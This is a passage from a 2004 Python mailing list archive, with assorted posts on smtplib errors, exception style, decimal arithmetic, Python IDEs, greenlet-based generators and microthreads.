Thanks to you and to all for the civil and fun discussions!] I-can-*almost*-remember-when-things-were-simpler'ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From listserver at tdw.net Fri Sep 17 17:08:55 2004 From: listserver at tdw.net (Tim Williams) Date: Fri, 17 Sep 2004 22:08:55 +0100 Subject: smtplib (111, 'Connection refused') References: <mailman.3467.1095448992.5135.python-list@python.org><ZtqdnZb0ScD229bcRVn-iA@powergate.ca> <4a0cafe204091713587ba4e3d7@mail.gmail.com> Message-ID: <000601c49cfa$8b350000$ccbefea9@twilliams> ----- Original Message ----- From: "Josh Close" <narshe at gmail.com> > import smtplib > > mail = smtplib.SMTP('localhost') > mail.send('me','user at domain.tld','message goes here') > mail.quit() > > but this fails at the smtplib.SMTP() line on one box, but not on another. > You either only have an SMTP server running on one box (the successful one), or localhost isn't configured properly on the failing machine From aleaxit at yahoo.com Thu Sep 9 12:58:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 18:58:48 +0200 Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> Message-ID: <1gjv0o9.4azuf418mt525N%aleaxit@yahoo.com> marduk <marduk at python.net> wrote: > I commonly use code like this > > try: > # call optional method > myobj.method() > except AttributeError: > # no biggie > pass > > > Occasionally I use pylint, which is a good tool, but in the above > snippet pylint will complain that 'Except doesn't do anything'. True, > but is that bad style? I know there are other ways of doing it, but > of all the other "obvious" ones, this appears the most straight > forward. > > Should I ignore pylint or is there a more Pythonic way to do this? I would prefer: try: themethod = myobj.method except AttributeError: pass else: themethod() but this, too, has an empty except body, which IS pretty normal... Alex From FBatista at uniFON.com.ar Fri Sep 24 16:20:56 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 24 Sep 2004 17:20:56 -0300 Subject: Why not FP for Money? Message-ID: <A128D751272CD411BC9200508BC2194D053C79D9@escpl.tcp.com.ar> [Carlos Ribeiro] #- If I got Paul right, it means the same I've been advocating: a #- notation to write floating point decimals directly without #- the need to #- pass strings or floats. We've proposed some alternatives: #- #- 1) 'd' suffix: a = 10.123d #- 2) '$ prefix: a = $10.123 Right now Decimal is a python-pure module. Someday, it'll become a C module for speed reasons (don't expect that from me, don't know enough C). Someday, after that, *maybe* it'll become a core data type, and there we'll have to discuss all that (and it won't be a ten-messages-thread, I can assure you). Why those steps? To achieve a community consensus for the PEP I've made was not easy and took me a long time. Before it becomes a core data type (if someday), decimal needs to be used *widely*. So start spreading the word! :) #- For now, I'm just playing with the alternatives -- it's pretty much #- like the big decorator debate, only the timing is better :-) (just #- joking, really -- a good literal notation is *much* needed to allow #- use of decimals without binary floating point surprises #- happening from #- time to time). Meanwhile, use decimal.Decimal("<number>"). . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040924/93fd23e0/attachment.html> From adurdin at gmail.com Tue Sep 7 02:03:42 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Tue, 7 Sep 2004 16:03:42 +1000 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: <2q4s80Fr7lqtU1@uni-berlin.de> References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <2q4s80Fr7lqtU1@uni-berlin.de> Message-ID: <59e9fd3a040906230356bc6c4e@mail.gmail.com> On Tue, 07 Sep 2004 16:37:18 +1200, Greg Ewing <greg at cosc.canterbury.ac.nz> wrote: > Alex Martelli wrote: > > Problem is, __nonzero__ is currently > > typechecked -- it has to return an integer. > > Yes, that's the problem. I should probably elaborate > on that a bit in the PEP. That is not the only issue with __nonzero__ versus __not__ -- in some cases (e.g. the symbolic algebra or SQL query constructor) it is useful to determine when an explicit "not" operator has been used. I'm not at a machine with the patch installed on it at the moment, but I just began to whether this patch would have an effect on expressions like (a < b < c) (which are also short-circuiting)... Come to think of it, how do objects which override __gt__ and the other comparisons (particularly for expression construction) work in that case? From ipmonger at comcast.net Fri Sep 10 15:58:47 2004 From: ipmonger at comcast.net (Jon Boone) Date: Fri, 10 Sep 2004 15:58:47 -0400 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <1ctshc.kd52.ln@via.reistad.priv.no> Message-ID: <BD677FB7.30BA5%ipmonger@comcast.net> On 2004-09-10 14:56, in article 1ctshc.kd52.ln at via.reistad.priv.no, "Morten Reistad" <firstname at lastname.pr1v.n0> wrote: > I just don't get it. The stated agenda is either misstated, or grossly > misimplemented. Never attribute to malice what is adequately explained through incompetence. --jon From jjl at pobox.com Sun Sep 12 17:24:26 2004 From: jjl at pobox.com (John J. Lee) Date: 12 Sep 2004 22:24:26 +0100 Subject: WxInter References: <mailman.3148.1094829029.5135.python-list@python.org> <chsieg$7q1$1@news-reader3.wanadoo.fr> <mailman.3153.1094832126.5135.python-list@python.org> <chskc9$5ap$1@news-reader1.wanadoo.fr> Message-ID: <87k6uz9o51.fsf@pobox.com> Eric Brunel <eric_brunel at despammed.com> writes: > Phil Thompson wrote: [...] > >>manipulated as a whole. Basically, in tk, canvases are for vector drawing; > >>in other toolkits, they're more for bitmap drawing. And this makes quite a > >>difference... -- > > Some other toolkits maybe, but not all... > > http://doc.trolltech.com/3.3/canvas.html > > As I said in a previous post, I'm quite glad to be proven wrong... > > Too bad Qt's not free for Windows... Maybe not forever: (note that, despite the URL and page banner, this *isn't* to depend on cygwin -- they intend it to be a native port) http://kde-cygwin.sourceforge.net/qt3-win32/ John From MLists at romulo.de Tue Sep 21 09:56:26 2004 From: MLists at romulo.de (Rainer Mansfeld) Date: Tue, 21 Sep 2004 15:56:26 +0200 Subject: Missing fpconst? In-Reply-To: <m9mdnTk0tbWTrc3cRVn-jw@powergate.ca> References: <m9mdnTk0tbWTrc3cRVn-jw@powergate.ca> Message-ID: <4150330A.5090208@romulo.de> phansen wrote: > I was trying to start some experiments with SOAP, but > fairly quickly discovered that SOAPpy (required by > twisted.web.soap and other things) relies on something > called fpconst, which was apparently available from the > page http://www.analytics.washington.edu/Zope/projects/fpconst/ > which no longer exists. Attempts to find the project > in other ways have so far failed. > Hi Peter, you can download fpconst from http://www.analytics.washington.edu/statcomp/projects/testfolder/rzope/fpconst HTH Rainer From robmccrea at spaamadelphiaspremoveam.net Tue Sep 14 14:37:50 2004 From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea) Date: Tue, 14 Sep 2004 14:37:50 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <0aidne7t9Or0k9rcRVn-qw@giganews.com> References: <mailman.3261.1095106220.5135.python-list@python.org> <xv6dnbAB2MabvtvcRVn-sA@adelphia.com> <mailman.3310.1095171925.5135.python-list@python.org> <0aidne7t9Or0k9rcRVn-qw@giganews.com> Message-ID: <41473A7E.8060309@spaamadelphiaspremoveam.net> Istvan Albert wrote: > Carlos Ribeiro wrote: > >> On Mon, 13 Sep 2004 18:45:45 -0400, Rob McCrea > > >>> My search for a good IDE ended years ago when I started learning C++, >>> and found EditPlus, http://www.editplus.com/ -- $30, free 30 day trial > > >> Reading your feature list, it seems to be missing project management, >> or to put it simply, to be able to track down what files are part of >> the project without the need to actually walk around the directory >> tree to hunt them down. I'll check it out, nonetheless. > > > It does have project management. EditPlus is my favorite editor > and every time I try another IDE I find the EditPlus does some things > so much better that I'll go back to it. > > Istvan Yep, I did try to infer the project management when I mentioned I had a tool for [execute "~thisproject.exe"], but my message certainly wasn t well-composed :) And Carlos, I am very curious about why you took the time to "de-spam" my e-mail address when you sent the message to the group anyway. But, no need to satisfy my curiousity :) Hope you do find something which is right for you, which should be a key point. To each his own. Rob From richie at entrian.com Tue Sep 28 10:35:30 2004 From: richie at entrian.com (Richie Hindle) Date: Tue, 28 Sep 2004 15:35:30 +0100 Subject: False exceptions?" (was Re: theme of the week: tools In-Reply-To: <Pine.LNX.4.50.0409272150400.3157-100000@hedgehog> References: <Pine.LNX.4.50.0409272150400.3157-100000@hedgehog> Message-ID: <tnril0d2sa2dbk29ppi4iebfobutknhbi6@4ax.com> [Stephan] > The "false exceptions" thing is a technical limitation of detecting > whether or not an exception is going to lead to program termination at the > moment it is raised, rather than later when exiting the program. We go up > the stack to inspect Python byte code, and since we can't see into C/C++ > object code we sometimes get it wrong. Thanks for this explanation - very interesting. I'm a bit confused as to why you do this, though. Assuming an exception "is going to lead to program termination", trapping it at the point it's raised is only one instruction away from trapping at the point it causes termination (via sys.excepthook). When it hits sys.excepthook, it's still carrying all the stack frames that led to its being thrown. If you make those stack frames available in the debugger, you'd still be able to inspect the state of the code as it was when the exception was raised. Nothing can have happened to change the state of the program in the intervening... ah, OK, 'finally' blocks. 'Finally' blocks will run between the exception being raised and sys.excepthook being called. Is that really the only reason you've implemented this feature, or am I missing something? -- Richie Hindle richie at entrian.com From aleaxit at yahoo.com Sun Sep 19 13:21:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 19:21:49 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <mailman.3494.1095586574.5135.python-list@python.org> Message-ID: <1gkdiag.130iwtl1rxrmsqN%aleaxit@yahoo.com> Gary Herron <gherron at islandtraining.com> wrote: ... > > > irrational numbers like sqrt(2) and transcendental numbers like PI? > > > > Sqrt is a fair criticism, but Pi equals 22/7, > > What? WHAT? Are you nuts? Pi and 22/7 are most certainly not equal. > They don't even share three digits beyond the decimal point. (Can you > really be that ignorant about numbers and expect to contribute > intelligently to a discussion about numbers. Pi is a non-repeating > and non-ending number in base 10 or any other base.) Any _integer_ base -- you can find infinitely many irrational bases in which pi has repeating or terminating expansion (for example, you could use pi itself as a base;-). OK, OK, I _am_ being silly!-) > If you are happy doing calculations with decimal numbers like 12.10 + > 8.30, then the Decimal package may be what you want, but that fails as > soon as you want 1/3. But it fails in exactly the same way as a cheap calculator of the same precision, and some people just have a fetish for that. > But then you could use a rational arithmetic > package and get 1/3, but that would fail as soon as you needed sqrt(2) > or Pi. But then you could try ... what? Can you see the pattern Uh, "constructive reals", such as those you can find at <http://www.hpl.hp.com/personal/Hans_Boehm/crcalc/> ...? "Numbers are represented exactly internally to the calculator, and then evaluated on demand to guarantee an error in the displayed result that is strictly less than one in the least significant displayed digit. It is possible to scroll the display to the right to generate essentially arbitrary precision in the result." It has trig, logs, etc. > here? Any representation of the infinity of numbers on a finite > computer *must* necessarily be unable to represent some (actually > infinity many) of those numbers. The inaccuracies stem from that > fact. Yes, _but_. There is after all a *finite* set of reals you can describe (constructively and univocally) by equations that you can write finitely with a given finite alphabet, right? So, infinitely many (and indeed infinitely many MORE, since reals overall are _uncountably_ infinite;-) reals are of no possible constructive interest -- if we were somehow given one, we would have no way to verify that it is what it is claimed to be, anyway, since no claim for it can be written finitely over whatever finite alphabet we previously agreed to use. So, I think we can safely restrict discourse by ignoring, at least, the _uncountably_ infinite aspects of reals and sticking to some "potentially constructively interesting" subset that is _countably_ infinite. At this point, the theoretical problems aren't much worse than those you meet with, say, integers, or just rationals, etc. Sure, you can't represent any but a finite subset of integers (or rationals, etc) in a finite computer _in a finite time_, yet that implies no _inaccuracy_ whatsoever -- specify your finite alphabet and the maximum size of equation you want to be able to write, and I'll give you the specs for how big a computer I will need to serve your needs. Easy! A "constructive reals" library able to hold and manipulate all reals that can be described as the sum of convergent series such that the Nth term of the series is a ratio of polynomials in N whose tuples of coefficients fit comfortably in memory (with space left over for some computation), for example, would amply suffice to deal with all commonly used 'transcendentals', such as the ones arising from trigonometry, logarithms, etc, and many more besides. (My memories of arithmetic are SO rusty I don't even recall if adding similarly constrained continuous fractions to the mix would make any substantial difference, sigh...). If you ask for some sufficiently big computation you may happen to run out of memory -- not different from what happens if you ask for a raising-to-power between two Python long's which happen to be too big for your computer's memory. Buy more memory, move to a 64-bit CPU (and a good OS for it), whatever: it's not a problem of _accuracy_, anyway. It MAY be a problem of TIME -- if you're in any hurry, and have upgraded your computer to have a few hundred terabytes of memory, you MAY be disappointed at how deucedly long it takes to get that multiplication between longs that just happened to overflow the memory resources of your previous machine which had just 200 TB. If you ask for an infinite representation of whatever, it will take an infinite time for you to see it, of course -- your machine will keep emitting digits at whatever rate, even very fast, but if the digits never stop coming then you'll never stop staring at them able to truthfully say "I've seen them ALL". But that's an effect that's easy to get even with such a simple computation as 1/3... it may easily be held with perfect accuracy inside the machine, just by using rationals, but if you want to see it as a decimal number you'll never be done. Similarly for sqrt(2) and so on. But again it's not a problem of _accuracy_, just one of patience;-). If the machine is well programmed you'll never see even one wrong digit, no matter how long you keep staring and hoping to catch an accuracy issue. The reason we tend to use limited accuracy more often than strictly needed is that we typically ARE in a hurry. E.g., I have measured the radius of a semispherical fishbowl at 98.13 cm and want to know how much water I need to fetch to fill it: I do NOT want to spend eons checking out the millionth digit -- I started with a measurement that has four or so significant digits (way more than _typical_ real-life measurements in most cases, btw), it's obvious that I'll be satisfied with just a few more significant digits in the answer. In fact, Python's floats are _just fine_ for just about any real-life computation, excluding ones involving money (which may often be constrained by law or at least by common practice) and some involving combinatorial arithmetic (and thus, typically, ratios between very large integers), but the latter only apply to certain maniacs trying to compute stuff about games (such as, yours truly;-). > So while a calculator will fool you into believing it is accurate when > it is not, it is Python's design decision to not cater to fools. Well put (+1 QOTW). But constructive reals are still COOL, even if they're not of much practical use in real life;-). Alex From davebrok at soda.csua.berkeley.edu Tue Sep 21 02:55:49 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Mon, 20 Sep 2004 23:55:49 -0700 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> <8cf9f521.0409171009.142a3fcd@posting.google.com> <g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com> <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> <upZ2d.22496$061.3740@newssvr29.news.prodigy.com> Message-ID: <naGdnT215sFuTdLcRVn-qQ@lmi.net> "Bryan Olson": > Michael Sparks: > > [Try Greenlets] > Finally, I think I understand the kind of stack-conjuring > required to make coroutines work, and it's well outside standard > Python's documented extension API. I've been burned on that > kind of thing before. Before sending people off to greenlets, I'm starting to understand why you have to go check them out via CVS---they are somewhat dangerous in their current form. Fortunately, they come with a test that illustrates the problem (as long as you compile Python in debug mode, but everyone does that, right ;). To get a handle on what is going on here, the following "test5" will leak, but calling "test5('noleak')" will not. I haven't the foggiest idea why, and gc.collect() cleans up some but not all of the excess. David Pokorny P.S. is this a subtle bug or what? BTW the code included here is a slight modification of that given in the greenlets folder. Subclassing greenlets killed my python---this is another mystery. Now I'm getting visions of envious Wizard-of-Oz-munchkin-proletariats hacking away at a giant snake. Time for bed. ----------------------------- class genlet: def __iter__(self): return self def __init__(self,fn,args,kwargs): self.gl = greenlet.greenlet(fn,args,kwargs) def next(self): self.gl.parent = greenlet.getcurrent() result = self.gl.switch() if self.gl: return result else: raise StopIteration def Yield(value): h = greenlet.getcurrent() h.parent.switch(value) def generator(fn): #not used in this example def runner(*args, **kwds): return genlet(fn, args, kwds) return runner # ____________________________________________________________ #After running test5(), It turns out that frames of g #have frame->f_back == frame (such frames are found in #sys.getobjects(20)). Programs that leave #data in local variables will leak furiously. #Apparently gc.collect() doesn't want to clean it up. def g(n): for i in range(n): Yield(i) return None def test5(kind='leak'): def runner(*args, **kwds): x = genlet(g,args,kwds) return x if(kind == 'leak'): iteration = runner(10) #<--leaks! else: iteration = genlet(g,(10,),{}) #<--does not leak. for j in iteration: print j iteration = None return None From danperl at rogers.com Sun Sep 26 19:05:14 2004 From: danperl at rogers.com (Dan Perl) Date: Sun, 26 Sep 2004 19:05:14 -0400 Subject: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> Message-ID: <mfydnUd5Idex1srcRVn-pQ@rogers.com> "Carlos Ribeiro" <carribeiro at gmail.com> wrote in message news:mailman.3864.1096040439.5135.python-list at python.org... > I'm also evaluating Wing IDE 2.0; I had a few issues with it that were > solved, but for some tasks I found it too heavy for my limited > resources. Anyway, I'm keeping an eye on it. I didn't follow the entire IDE dispute and I apologize if my comments are now redundant, but here are my 2 cents. I just bought the Komodo Personal edition. I had already used the trial download for a month and I've been quite satisfied with it. That's after using PythonWin for a few months, but it would be hard to go back to PythonWin now. Before making the decision to buy Komodo, I also evaluated Wing IDE 2.0, their Personal edition. Please indulge me, but I have to take a load off my chest about Wing IDE. Right off the bat, the trial period was only 10 days. I've evaluated quite a few tools that had a free trial period and I don't think I can remember of ever having only 10 days before. Then, the GUI is kind of awkward in a few places (the "project tree view", or something like that, and the toolbars). There is more. The Personal edition does not have an object browser (it's only in their more expensive editions). With all due respect, that's a minimal requirement in a commercial IDE these days and Komodo has one in its Personal edition (for the same price as Wing IDE). I left my biggest beef with Wing IDE for the end. I debugged one of my scripts (that I knew it works) and got an unexplainable exception. It turns out that Wing IDE falsely detects some exceptions. They know about it and they suggest that if you KNOW that it's a false exception you should flag it to be ignored. Yes, Wingware people, I know it's a false exception, but what am I using an IDE with debugging for if I have to figure out false exceptions and ignore them? And how do I know that that particular exception will not be valid some day in one of my scripts? And please, do not insult our intelligence with some marketing mumbo-jumbo that Wing IDE's exception detection is so powerful that it even detects exceptions that are not there. It's a BUG, it's not a feature, folks! And no excuse will make up for it! The choice between Wing IDE and Komodo was clear for me. As a side note, among free open-source IDEs, I thought that pydev (a plugin for eclipse) shows promise, but it's not ready yet for the big leagues. There. Thanks for listening. Dan From mwh at python.net Fri Sep 17 09:36:20 2004 From: mwh at python.net (Michael Hudson) Date: Fri, 17 Sep 2004 13:36:20 GMT Subject: Small inconsistency between string.split and "".split References: <mailman.3241.1095094663.5135.python-list@python.org> <LJSdnepvP_vbSdjcRVn-hg@powergate.ca> <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> <4146C179.5000404@livinglogic.de> <mailman.3311.1095172226.5135.python-list@python.org> <1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com> <m3oek56poq.fsf@pc150.maths.bris.ac.uk> <1gk9iql.flx09uik62nkN%aleaxit@yahoo.com> Message-ID: <m3fz5h6mr0.fsf@pc150.maths.bris.ac.uk> aleaxit at yahoo.com (Alex Martelli) writes: > Michael Hudson <mwh at python.net> wrote: > > > aleaxit at yahoo.com (Alex Martelli) writes: > > > > > Having ALL C-coded functions and methods that accept any argument > > > accept keyword-style arguments in particular would surely lead to a > > > more consistent language, > > > > [...] > > > > This whole area isn't particularly pretty. In general it would be > > Indeed, it isn't. > > > better to expose more of an extension functions signature *outside* > > the function, for efficiency, introspection and even things like > > ...and consistency with the way Python-coded functions work. Heh, yes, that too :-) > > psyco. METH_O, METH_NOARGS are a step in this direction -- but you > > can't pass a keyword argument to a METH_O function (not that one would > > want to, very often, but it's still a potential inconsistency). > > Right; it could be remedied by letting a macro otherwise equivalent to > METH_O know about that one argument's name. But... how? I guess the PyMethodDef struct could grow an ml_signature field... wouldn't it be nice if you could do: static PyObject* foo(PyObject* ob, int index) { ...; } PyMethodDef methods[] = { {"foo", foo, "O[ob]i[index]", "docstring"}, {NULL, NULL} } ? Even nicer if you didn't have to write the signature by hand. Unfortunately, I don't think you can do this in standard C. > > I wonder what Pyrex does... > > for: > def example(aa, bb): > pass > > it generates (name mangling apart, I'm demangling for legibility): > > static PyObject* example(PyObject *self, PyObject *args, PyObject *kwds) > { > PyObject *aa = 0; > PyObject *bb = 0; > static char *argnames[] = {"aa", "bb", 0}; > > if(!PyArg_ParseTupleAndKeywords(args,kwds,"OO",argnames,&aa,&bb)) > return 0; > > etc, etc, and METH_VARARGS|METH_KEYWORDS in the PyMethodDef array. IOW, > nothing strange, and all correct, it seems to me. Cool. I should use pyrex more, I suspect. Cheers, mwh -- As it seems to me, in Perl you have to be an expert to correctly make a nested data structure like, say, a list of hashes of instances. In Python, you have to be an idiot not to be able to do it, because you just write it down. -- Peter Norvig, comp.lang.functional From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Thu Sep 2 14:31:09 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Thu, 02 Sep 2004 18:31:09 -0000 Subject: Xah Lee's Unixism References: <uhdqgekw0.fsf@mail.comcast.net> Message-ID: <10jepndi1en2id8@corp.supernews.com> # > Not exactly a typical editor function, agreed. I was feeling a little # > whimsical at the time. # # i once did a random email/usenet signature with zippy/yow ... but i # added two other files to it ... and then i had to fix a feature in # yow. yow uses a 16bit random number to index a yow file ... it was ok # as long as your sayings file was less than 64kbytes. i had to modify # yow to handle files larger than 64kbytes ... the "sayings" file used # for 6670 separater pages was 167k bytes and the jargon file was 413k # bytes ... while a current zippy yow file is 52,800 bytes. It's nice to know people still have time to work on really important things. -- SM Ryan http://www.rawbw.com/~wyrmwif/ I'm not even supposed to be here today. From graeme.matthew at contrado.com.au Tue Sep 14 20:36:47 2004 From: graeme.matthew at contrado.com.au (Graeme Matthew) Date: Wed, 15 Sep 2004 10:36:47 +1000 Subject: comparing datetime with date References: <mailman.3292.1095162740.5135.python-list@python.org> <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> <slrnckf3e5.ptn.sholden@flexal.cs.usyd.edu.au> Message-ID: <41478ea5$0$24413$5a62ac22@per-qv1-newsreader-01.iinet.net.au> yes it was late, apologies therefore a simple way to solve this problem would be: str(x) == str(y) :=-) "Sam Holden" <sholden at flexal.cs.usyd.edu.au> wrote in message news:slrnckf3e5.ptn.sholden at flexal.cs.usyd.edu.au... > On Wed, 15 Sep 2004 09:24:03 +1000, > Graeme Matthew <graeme.matthew at contrado.com.au> wrote: >> This is very interesting because if you continue further and coerce both >> to >> strings you get: >> >>>>> print str(y) == str(y) >> True > > Of course if you actually do: > >>>>> print str(x) == str(y) >> False > > >>>>> str(y) >> '2004-09-14 06:43:15' >>>>> str(x) >> '2004-09-14' >>>>> >> >> Even though there string values are different they still match? > > No, they only matched becuase you compared y with y :) > > > -- > Sam Holden From pje at telecommunity.com Sun Sep 12 11:24:57 2004 From: pje at telecommunity.com (Phillip J. Eby) Date: 12 Sep 2004 08:24:57 -0700 Subject: What's the Pythonic way to do this? References: <e08cd05f.0409101235.50b1f8f3@posting.google.com> Message-ID: <25b5433d.0409120724.6b4b972d@posting.google.com> da_rosser at yahoo.com (Doug Rosser) wrote in message news:<e08cd05f.0409101235.50b1f8f3 at posting.google.com>... > class Cycle(object): > [snip] def cycle(inputList): while True: for item in inputList: yield item Or, as others have pointed out, there's an itertools.cycle that does the same thing, at least in Python 2.3 and up. From maney at pobox.com Wed Sep 8 14:40:07 2004 From: maney at pobox.com (Martin Maney) Date: Wed, 8 Sep 2004 18:40:07 +0000 (UTC) Subject: Converting integers to english representation References: <mailman.2683.1093974630.5135.python-list@python.org> Message-ID: <chnjm7$56d$1@wheel2.two14.net> brianc at temple.edu wrote: > I'm developing a system to parse and enumerate addresses. The > current obstacle is numbered streets. Does anybody know of a > module already written to convert integers to their english > equivalents? The suggestion about searching for "ordinal" is good, but runs into all those unicode false hits. :-( It isn't quite the same as either of your examples, and it goes only one way, but this is what I'm using in one app where I want ordinalized day numbers: def _ord_sfx(decade): if decade != 1: return ('th', 'st', 'nd', 'rd', 'th', 'th', 'th', 'th', 'th', 'th') return ('th', 'th', 'th', 'th', 'th', 'th', 'th', 'th', 'th', 'th') def ordinalize(n): decade = (n % 100) / 10 unit = n % 10 return '%d%s' % (n, _ord_sfx(decade)[unit]) -- If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson From alexander.hoffmann at netgenius.de Wed Sep 8 05:40:26 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Wed, 8 Sep 2004 11:40:26 +0200 Subject: tuples allocated by formated print ? Message-ID: <200409081140.26869.alexander.hoffmann@netgenius.de> Hello, Recently I was debugging a memory leak in my app and finally figured out that I had to manually implement destructors for some classes. While debugging I wrote a method that prints the number of instances per type for all objects returned by gc.get_objects. I was astonished by the fact that after perfroming a few tests with my app there were about 4000 instances of Tuple in memory. Looking at these instances I got the feeling that they contained the values I used in formated prints like: print ("my name is %s" % ("alex", )) Can anyone of you confirm that tuples constructed this way will be removed from memory by Python automatically ? If so, can you imagine any reason for so many tuple instances to exist (given the fact that besides in print (...) I do not make use of tuples in my source code) ? Thank you ! Alex From rm at rm.rm Sat Sep 18 19:53:52 2004 From: rm at rm.rm (Radioactive Man) Date: Sat, 18 Sep 2004 23:53:52 GMT Subject: Need function like "raw_input", but with time limit Message-ID: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com> anyone know of a function like "raw_input", which collects a string from the user entry, but one where I can set a time limit, as follows: time_limit = 10 # seconds user_answer = function_xyz("GIVE ME AN ANSWER: ", time_limit) The problem with "raw_input" is that it will stop unattended script indefinitely. I'm looking for a function that does the exact same thing, but with a time limit feature, and preferably one that returns an empty string ('') when it gets no response. Any suggestions? From fakeaddress at nowhere.org Sun Sep 19 21:16:49 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Mon, 20 Sep 2004 01:16:49 GMT Subject: Microthreads without Stackless? In-Reply-To: <8cf9f521.0409181021.6db6a3e4@posting.google.com> References: <mailman.3171.1094844869.5135.python-list@python.org> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> <8cf9f521.0409171009.142a3fcd@posting.google.com> <g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> Message-ID: <5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com> David Mertz, Ph.D. wrote: > Well, a couple things. The article on (semi-)coroutines is really a > different topic than the one on "weightless threads." They both take > advantage of Python generators. And they both involve a scheduler. > But there are differences between the techniques... and still greater > differences between the motivations that would prompt the use of each. > > Unfortunately, Bryan started the discussion with a claim like > "weightless threads aren't *really* coroutines"... to which the answer > is "Duh!" That's not a quote of me. What I did say is, "Mertz's pattern provides nothing like real co-routines or threads". By "real" coroutines I've meant coroutines without the limitations stated for semi-coroutines. > Weightless threads basically amount to "cooperative multitasking." > Unlike in actual Stackless (or with "weighty" OS threads), the > weightless thread schedulers/technique depends every "thread" > (procedure) acting nice, and giving control back to the scheduler > without too much delay. Again, I have to disagree with the first sentence there. I've never heard "Cooperative multitasking" to refer to calls that were limited to a one-level depth. I find the usual description of the difference between cooperative and preemptive multi-threading to be deceptive. In either system, the vast majority of thread switches are induced by the running thread beginning an operation that blocks. > Some older OS's were written this way, FWIW, > but those had obvious problems. Microsoft Windows and Apple Mac-OS had cooperative multi-tasking when they took over most of the world. They certainly had problems, but that intra-process threading was cooperative was not high on the problem list. (The way separate processes could effect each other, that was a problem.) [...] > At the Python Cookbook site, Bernhard Mulder unfortunately posted a > recipe that he called "coroutines", when what it really does is > implement weightless threads. The recipe itself is fine, but I hate > to see people mislead on the nomenclature: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300019 > The point I got from Bernhard Mulder's recipe is how to yield from any call depth. His method is to re-write every call chain that leads to a yield, so that every function is a generator and every call is in a for loop. With patterns of the form 'rewrite everything like this...', any Turing-complete language can emulate any computational facility of any other language. That's the kind of solution I was discounting when I wrote, "Importantly, I do *not* have to re-write all the functions in every call chain that leads to a read or write". > Now it's true that Python syntax -in itself- only implements > semi-coroutines. That is, you can branch INTO any procedure you want, > but the branch OUT OF that procedure is still stack like... i.e. to > the caller only. What my article points out (which a lot of people > did not realize when Python generators were new) is that > semi-coroutines are actually fully general. Syntax isn't the issue. Python was just as general without generators, which we can emulate with closures or classes. [...] > The only change is that you always "yield to" a given procedures, > rather than either call it, or call its .next() method. Of course, > lots of other flows are possible other than stack-like. But you are > not prohibited from stack-like flow (example typed without testing, > forgive any minor typo): > > from __future__ import generators > cargo = None > def grandma(): > yield (MOM, cargo) > def mom(): > yield (DAUGHTER, cargo) > yield (GRANDMA, cargo) > def daughter(): > yield (MOM, cargo) > GRANDMA, MOM, DAUGHTER = grandma(), mom(), daughter() > scheduler(GRANDMA) Again, that's a 'rewrite every call-chain' solution. If we look at the socket servers in the Python library, they're written on a base where one server handles one client. Then there's a forking mix-in, and a threading mix-in, that each allow the same code to handle many clients. We can build higher-level protocols on them, with the same simple form: handle one client, and add forking/threading to handle many clients, without re- writing the code. Full coroutines or micro-threads can offer the same facility. Semi-coroutines or "weightless 